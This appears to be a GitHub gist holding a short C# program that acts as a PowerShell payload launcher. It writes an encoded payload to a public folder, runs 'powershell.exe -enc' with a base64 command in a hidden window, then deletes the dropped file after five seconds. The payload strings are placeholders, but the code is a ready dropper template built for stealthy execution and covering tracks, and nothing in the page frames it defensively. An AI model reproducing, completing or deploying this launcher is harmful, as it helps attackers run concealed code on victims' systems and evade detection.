Instantly share code, notes, and snippets.

Embed
What would you like to do?
using System.Threading;
using System.Diagnostics;
using System.IO;
namespace peewpw
{
static class Program
{
static string psc = "<encoded powershell payload>";
static void Main(string[] args)
{
File.WriteAllText(@"C:\Users\Public\test12.txt", psc);
Process process = new Process();
process.StartInfo.FileName = "powershell.exe";
process.StartInfo.Arguments = "-enc <base64 encoded command>";
process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
process.Start();
Thread.Sleep(5000);
File.Delete(@"C:\Users\Public\test12.txt");
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment